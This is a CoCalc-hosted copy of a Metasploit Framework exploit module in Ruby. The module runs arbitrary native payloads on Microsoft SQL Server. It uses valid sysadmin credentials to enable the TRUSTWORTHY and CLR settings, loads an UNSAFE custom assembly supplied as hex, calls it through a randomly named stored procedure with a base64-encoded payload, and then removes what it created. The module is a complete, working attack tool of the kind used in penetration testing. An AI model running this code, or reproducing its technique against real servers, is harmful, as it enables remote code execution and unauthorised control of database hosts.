CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/mssql/mssql_clr_payload.rb
Views: 11783
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::MSSQL
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => 'Microsoft SQL Server Clr Stored Procedure Payload Execution',
14
'Description' => %q{
15
This module executes an arbitrary native payload on a Microsoft SQL
16
server by loading a custom SQL CLR Assembly into the target SQL
17
installation, and calling it directly with a base64-encoded payload.
18
19
The module requires working credentials in order to connect directly to the
20
MSSQL Server.
21
22
This method requires the user to have sufficient privileges to install a custom
23
SQL CRL DLL, and invoke the custom stored procedure that comes with it.
24
25
This exploit does not leave any binaries on disk.
26
27
Tested on MS SQL Server versions: 2005, 2012, 2016 (all x64).
28
},
29
'Author' =>
30
[
31
'Lee Christensen', # original idea/research
32
'Nathan Kirk', # extra research/blog post
33
'OJ Reeves' # Metasploit module
34
],
35
'License' => MSF_LICENSE,
36
'References' =>
37
[
38
['URL', 'http://sekirkity.com/command-execution-in-sql-server-via-fileless-clr-based-custom-stored-procedure/']
39
],
40
'Platform' => 'win',
41
'Arch' => [ARCH_X86, ARCH_X64],
42
'Targets' => [['Automatic', {}]],
43
'DefaultTarget' => 0,
44
'DisclosureDate' => '1999-01-01'
45
))
46
47
register_options(
48
[
49
OptString.new('DATABASE', [true, 'The database to load the CLR Assembly into.', 'master'])
50
])
51
end
52
53
def check
54
unless mssql_login_datastore(datastore['DATABASE'])
55
vprint_status('Invalid SQL Server credentials')
56
return Exploit::CheckCode::Detected
57
end
58
59
version = get_sql_version_string
60
61
unless version =~ /Server 20(05|08|12|14|16)/
62
vprint_status('Unsupported version of SQL Server')
63
return Exploit::CheckCode::Safe
64
end
65
66
if mssql_is_sysadmin
67
vprint_good "User #{datastore['USERNAME']} is a sysadmin"
68
Exploit::CheckCode::Vulnerable
69
else
70
Exploit::CheckCode::Safe
71
end
72
ensure
73
disconnect
74
end
75
76
def get_sql_version_string
77
mssql_query("select @@version", false)[:rows].first[0]
78
end
79
80
def get_sql_architecture(sql_version_string)
81
if sql_version_string =~ /(64-bit|x64)/i
82
ARCH_X64
83
else
84
ARCH_X86
85
end
86
end
87
88
def get_exploit_version(sql_version_string)
89
# keeping it simple at this point.
90
if sql_version_string =~ /Server (2005|2008|2012)/
91
'v3.5'
92
else
93
# assume 2014/2016 at this point.
94
'v4.0'
95
end
96
end
97
98
def set_trustworthy(on)
99
result = mssql_query("ALTER DATABASE [#{datastore['DATABASE']}] SET TRUSTWORTHY #{on ? 'ON' : 'OFF'}", false)
100
unless result[:errors].empty?
101
result[:errors].each do |err|
102
vprint_error(err)
103
end
104
fail_with(Failure::Unknown, "Failed to change Trustworthy setting")
105
end
106
end
107
108
def is_trustworthy
109
# SQLi in MSF!! OMG!
110
result = mssql_query("SELECT CASE is_trustworthy_on WHEN 1 THEN 'ON' ELSE 'OFF' END FROM sys.databases WHERE name ='#{datastore['DATABASE']}'", false)
111
result[:rows][0] == 'ON'
112
end
113
114
def enable_clr(enable)
115
query = %Q^
116
EXEC sp_configure 'show advanced options', 1;
117
RECONFIGURE;
118
EXEC sp_configure 'clr enabled', #{enable ? 1 : 0};
119
RECONFIGURE;
120
^
121
result = mssql_query(query, false)
122
unless result[:errors].empty?
123
result[:errors].each do |err|
124
vprint_error(err)
125
end
126
fail_with(Failure::Unknown, "Failed to change CLR setting")
127
end
128
end
129
130
def is_clr_enabled
131
result = mssql_query("SELECT CASE value WHEN 1 THEN 'ON' ELSE 'OFF' END FROM sys.configurations WHERE name = 'clr enabled'", false)
132
result[:rows][0] == 'ON'
133
end
134
135
def exploit
136
unless mssql_login_datastore(datastore['DATABASE'])
137
fail_with(Failure::BadConfig, 'Unable to login with the given credentials')
138
end
139
140
unless mssql_is_sysadmin
141
fail_with(Failure::BadConfig, 'Specified user lacks sufficient permissions')
142
end
143
144
# This module will only support 'thread' for EXITFUNC
145
# Bad things happen to SQL otherwise!
146
unless datastore['EXITFUNC'] == 'thread'
147
print_warning("Setting EXITFUNC to 'thread' so we don't kill SQL Server")
148
datastore['EXITFUNC'] = 'thread'
149
end
150
151
sql_version = get_sql_version_string
152
vprint_status("Target SQL Version is:\n#{sql_version}")
153
154
sql_arch = get_sql_architecture(sql_version)
155
unless payload.arch.first == sql_arch
156
fail_with(Failure::BadConfig, "Target SQL server arch is #{sql_arch}, payload architecture is #{payload.arch.first}")
157
end
158
159
trustworthy = is_trustworthy
160
clr_enabled = is_clr_enabled
161
162
unless trustworthy
163
print_status('Database does not have TRUSTWORTHY setting on, enabling ...')
164
set_trustworthy(true)
165
end
166
167
unless clr_enabled
168
print_status('Database does not have CLR support enabled, enabling ...')
169
enable_clr(true)
170
end
171
172
exploit_version = get_exploit_version(sql_version)
173
print_status("Using version #{exploit_version} of the Payload Assembly")
174
exploit_file_path = ::File.join(Msf::Config.install_root, 'data',
175
'SqlClrPayload', exploit_version, 'SqlClrPayload.dll')
176
vprint_status("Using #{exploit_file_path}")
177
178
assembly = ::File.read(exploit_file_path)
179
180
# Convert the assembly to the required format for execution of the stored
181
# procedure to create the custom stored proc
182
hex_assembly = "0x#{assembly.unpack('H*')[0]}"
183
asm_name = Rex::Text.rand_text_alpha(rand(4) + 8)
184
query = "CREATE ASSEMBLY [#{asm_name}] AUTHORIZATION [dbo] FROM #{hex_assembly} WITH PERMISSION_SET = UNSAFE"
185
186
print_status('Adding custom payload assembly ...')
187
mssql_query(query, false)
188
189
proc_name = Rex::Text.rand_text_alpha(rand(4) + 8)
190
param_name = Rex::Text.rand_text_alpha(rand(4) + 8)
191
query = "CREATE PROCEDURE [dbo].[#{proc_name}](@#{param_name} AS NVARCHAR(MAX)) AS EXTERNAL NAME [#{asm_name}].[StoredProcedures].[ExecuteB64Payload]"
192
193
print_status('Exposing payload execution stored procedure ...')
194
mssql_query(query, false)
195
196
# Generate the base64 encoded payload
197
b64payload = Rex::Text.encode_base64(payload.encoded)
198
query = "EXEC [dbo].[#{proc_name}] '#{b64payload}'"
199
print_status('Executing the payload ...')
200
mssql_query(query, false)
201
202
print_status('Removing stored procedure ...')
203
mssql_query("DROP PROCEDURE [dbo].[#{proc_name}]", false)
204
205
print_status('Removing assembly ...')
206
mssql_query("DROP ASSEMBLY [#{asm_name}]", false)
207
208
unless clr_enabled
209
print_status('Restoring CLR setting ...')
210
enable_clr(false)
211
end
212
213
unless trustworthy
214
print_status('Restoring Trustworthy setting ...')
215
set_trustworthy(false)
216
end
217
218
ensure
219
disconnect
220
end
221
end
222
223